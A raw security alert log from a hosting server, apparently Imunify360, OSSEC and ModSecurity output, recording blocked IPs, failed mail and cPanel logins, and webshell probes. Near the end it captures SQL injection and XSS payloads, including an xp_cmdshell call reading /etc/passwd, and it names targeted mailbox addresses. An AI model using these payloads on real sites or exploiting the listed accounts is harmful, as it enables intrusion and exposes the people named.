Jan 15 23:15:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.188.212.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.97
country_id: 3175395
description:
Jan 15 23:15:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.97 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 185.180.141.67
country_id: 2264397
description:
Jan 15 23:15:46 sv3 pure-ftpd[3996915]: (?@185.180.141.67) [INFO] New connection from 185.180.141.67


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.36.25.148
country_id: 1814991
description:
2026-01-15 23:16:12 dovecot_login authenticator failed for H=([183.36.25.148]) [183.36.25.148]:47752: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.45
country_id: 798544
description:
Jan 15 23:16:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.36.25.148
country_id: 1814991
description:
Jan 15 23:16:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.36.25.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.173
country_id: 3469034
description:
Jan 15 23:18:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.30
country_id: 732800
description:
Jan 15 23:18:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.73.160.75
country_id: 2186224
description:
Jan 15 23:19:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.73.160.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.160.75
country_id: 2186224
description:
2026-01-15 23:19:55 dovecot_login authenticator failed for H=([121.73.160.75]) [121.73.160.75]:54548: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.187.24.4
country_id: 6252001
description:
2026-01-15 23:22:11 dovecot_login authenticator failed for H=([127.0.0.1]) [68.187.24.4]:59286: 535 Incorrect authentication data (set_id=info@evergrown.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 15 23:23:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-15 23:23:24 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (hytivernal) [87.103.126.54]:7385: 535 Incorrect authentication data (set_id=kimting.yap@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.121.76.190
country_id: 732800
description:
2026-01-15 23:26:00 dovecot_plain authenticator failed for H=(reonesubs) [87.121.76.190]:38787: 535 Incorrect authentication data (set_id=rachel.khoo@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 15 23:25:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-15 23:25:33 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (canticon) [87.103.126.54]:38950: 535 Incorrect authentication data (set_id=wilson.wong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.121.76.190
country_id: 732800
description:
Jan 15 23:25:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.121.76.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.154.162
country_id: 3469034
description:
Jan 15 23:26:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.154.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.121.76.190
country_id: 732800
description:
Jan 15 23:26:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.121.76.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.121.76.190
country_id: 732800
description:
2026-01-15 23:26:18 dovecot_plain authenticator failed for H=(ingibility) [87.121.76.190]:39244: 535 Incorrect authentication data (set_id=chuanyee.ang@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.148
country_id: 3469034
description:
Jan 15 23:27:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.64.122
country_id: 3469034
description:
Jan 15 23:27:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.64.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-15 23:28:07 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (sughery) [87.103.126.54]:38691: 535 Incorrect authentication data (set_id=justina.ling@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 15 23:28:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.216.39.186
country_id: 6290252
description:
Jan 15 23:27:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.216.39.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.64.122
country_id: 3469034
description:
Jan 15 23:28:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.64.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 15 23:28:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-15 23:28:37 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (phionan) [87.103.126.54]:3692: 535 Incorrect authentication data (set_id=wilson.wong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.248.146.156
country_id: 3175395
description:
Jan 15 23:31:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.248.146.156 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.240
country_id: 3469034
description:
Jan 15 23:31:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-15 23:31:55 H=([46.151.182.48]) [46.151.182.48]:58715 F=<jacklim@ktlog.com.my> rejected RCPT <jacklim@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 23:32:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57254: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.248.146.156
country_id: 3175395
description:
Jan 15 23:31:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.248.146.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 23:32:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57255: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.71.85.106
country_id: 1562822
description:
[2026-01-15 23:35:41 +0800] info [cpaneld] 27.71.85.106 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.222.206.33
country_id: 3469034
description:
[2026-01-15 23:35:55 +0800] info [cpaneld] 148.222.206.33 - manforc "GET /login/?login_only=1&user=manforc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user manforc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.50.233.88
country_id: 3658394
description:
[2026-01-15 23:36:04 +0800] info [cpaneld] 200.50.233.88 - man "GET /login/?login_only=1&user=man&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user man (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.24.129.129
country_id: 1605651
description:
[2026-01-15 23:36:00 +0800] info [cpaneld] 125.24.129.129 - manfo "GET /login/?login_only=1&user=manfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user manfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.113.21.77
country_id: 6252001
description:
[2026-01-15 23:36:02 +0800] info [cpaneld] 73.113.21.77 - manf "GET /login/?login_only=1&user=manf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user manf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.98.198.24
country_id: 290557
description:
[2026-01-15 23:35:38 +0800] info [cpaneld] 86.98.198.24 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.216.246.228
country_id: 6252001
description:
[2026-01-15 23:35:43 +0800] info [cpaneld] 47.216.246.228 - manforce "GET /login/?login_only=1&user=manforce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.85.235.184
country_id: 2921044
description:
[2026-01-15 23:35:46 +0800] info [cpaneld] 217.85.235.184 - manforcenet "GET /login/?login_only=1&user=manforcenet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user manforcenet (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.217.112.99
country_id: 798544
description:
Jan 15 23:35:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.217.112.99 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.143.87.107
country_id: 2542007
description:
[2026-01-15 23:35:57 +0800] info [cpaneld] 41.143.87.107 - manfor "GET /login/?login_only=1&user=manfor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user manfor (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.217.112.99
country_id: 798544
description:
Jan 15 23:36:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.217.112.99 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.247.71.18
country_id: 732800
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.172.244.235
country_id: 6252001
description:
2026-01-15 23:40:59 dovecot_login authenticator failed for H=c-67-172-244-235.hsd1.ut.comcast.net [67.172.244.235]:33745: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.2
country_id: 1668284
description:
Jan 15 23:41:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.2
country_id: 1668284
description:
2026-01-15 23:41:04 dovecot_login authenticator failed for H=111-70-32-2.emome-ip.hinet.net [111.70.32.2]:59142: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.54
country_id: 1269750
description:
Jan 15 23:41:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.54
country_id: 1269750
description:
2026-01-15 23:41:15 dovecot_login authenticator failed for H=(nsg-corporate-54.234.187.122.airtel.in) [122.187.234.54]:39153: 535 Incorrect authentication data (set_id=lkwong.isc)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.172.244.235
country_id: 6252001
description:
Jan 15 23:40:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.172.244.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.108.141.166
country_id: 660013
description:
2026-01-15 23:47:29 dovecot_plain authenticator failed for H=static.166.141.108.65.clients.your-server.de (WIN-1RRV83LLLRK.server141166.99rdp) [65.108.141.166]:59222: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.104.132
country_id: 3469034
description:
Jan 15 23:47:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.104.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.108.141.166
country_id: 660013
description:
2026-01-15 23:47:59 dovecot_plain authenticator failed for H=static.166.141.108.65.clients.your-server.de (WIN-1RRV83LLLRK.server141166.99rdp) [65.108.141.166]:50649: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.104.132
country_id: 3469034
description:
Jan 15 23:48:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.104.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.164
country_id: 798544
description:
Jan 15 23:48:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.13
country_id: 2510769
description:
Jan 15 23:56:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.123.13
country_id: 798544
description:
Jan 15 23:56:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.123.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Possible XSS in arguments||MV:4028 and 1=1 union all select 1,null,'<script>alert(\"xss\")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:CowA||MV:4028 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:CowA||MV:4028 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316746
name: IM360 WAF: Generic SQLi attempt
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Generic SQLi attempt||MVN:ARGS:id||MV:1' and 7982=4024 and 'lyev'='lyev||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:(select concat(concat(0x716b626b71,(case when (6856=6856) then 0x31 else 0x30 end)),0x71766a7871))||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(8173=8173,1))),0x71766a7871,0x78))x)) AND 'XVpa'='XVpa||MVN:ARGS:id||RSV:7.63||T:APACHE||SC:/home2/thinkcloudadmin/public_html/resources-details.php||


plugin: modsec
rule: 77211820
name: IM360 WAF: Detects MySQL UDF injection and other data/structure manipulation attempts
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||MVN:MATCHED_VAR||MV:1';select sleep(5)#||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and exp(~(select * from (select concat(0x716b626b71,(select (elt(8173=8173,1))),0x71766a7871,0x78))x)) and 'xvpa'='xvpa||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(8173=8173,1))),0x71766a7871,0x78))x)) AND 'XVpa'='XVpa||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1' AND (SELECT 9003 FROM(SELECT COUNT(*),CONCAT(0x716b626b71,(SELECT (ELT(9003=9003,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UrEG'='UrEG||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 2001:e68:5473:3e09:914b:2028:6a31:191b
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1';select sleep(5)#||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 00:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57273: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.10.176
country_id: 3865483
description:
Jan 16 00:01:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.10.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-16 00:01:43 H=([62.60.130.227]) [62.60.130.227]:64555 F=<mcinfo@ups.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from ups.com


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.216.106.129
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-02.185.216.106.129||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.28.178
country_id: 2300660
description:
Jan 16 00:02:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.28.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 00:02:46 H=([178.16.53.2]) [178.16.53.2]:62666 F=<info@valet.it> rejected RCPT <info@oxbold.com>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.211.115.209
country_id: 6252001
description:
2026-01-16  0:04:39 132365 [Warning] Aborted connection 132365 to db: 'unconnected' user: 'unauthenticated' host: '198.211.115.209' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.128.72.147
country_id: 357994
description:
2026-01-16 00:05:00 H=([41.128.72.147]) [41.128.72.147]:24221 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.163.145.175
country_id: 1668284
description:
Jan 16 00:05:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.163.145.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.43.113
country_id: 953987
description:
Jan 16 00:05:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.43.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.199.66.151
country_id: 3686110
description:
[2026-01-16 00:06:34 +0800] info [cpaneld] 38.199.66.151 - kdiba "GET /login/?login_only=1&user=kdiba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kdiba (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.150
country_id: 298795
description:
Jan 16 00:06:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.128.72.147
country_id: 357994
description:
2026-01-16 00:06:23 H=([41.128.72.147]) [41.128.72.147]:24613 F=<info@imax.com.my> rejected RCPT <info@imax.com.my>: smtp auth required


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.166.167.52
country_id: 1168579
description:
[2026-01-16 00:06:24 +0800] info [cpaneld] 202.166.167.52 - kdiballoo "GET /login/?login_only=1&user=kdiballoo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kdiballoo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.233.240.73
country_id: 6252001
description:
[2026-01-16 00:06:29 +0800] info [cpaneld] 162.233.240.73 - kdiball "GET /login/?login_only=1&user=kdiball&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kdiball (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.4.96.242
country_id: 6252001
description:
[2026-01-16 00:06:52 +0800] info [cpaneld] 100.4.96.242 - kdiball1 "GET /login/?login_only=1&user=kdiball1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kdiball1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.142.197.197
country_id: 3625428
description:
[2026-01-16 00:06:14 +0800] info [cpaneld] 190.142.197.197 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.158.204.7
country_id: 3686110
description:
[2026-01-16 00:06:18 +0800] info [cpaneld] 190.158.204.7 - kdiballoon "GET /login/?login_only=1&user=kdiballoon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kdiballoon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 150.107.106.178
country_id: 1282988
description:
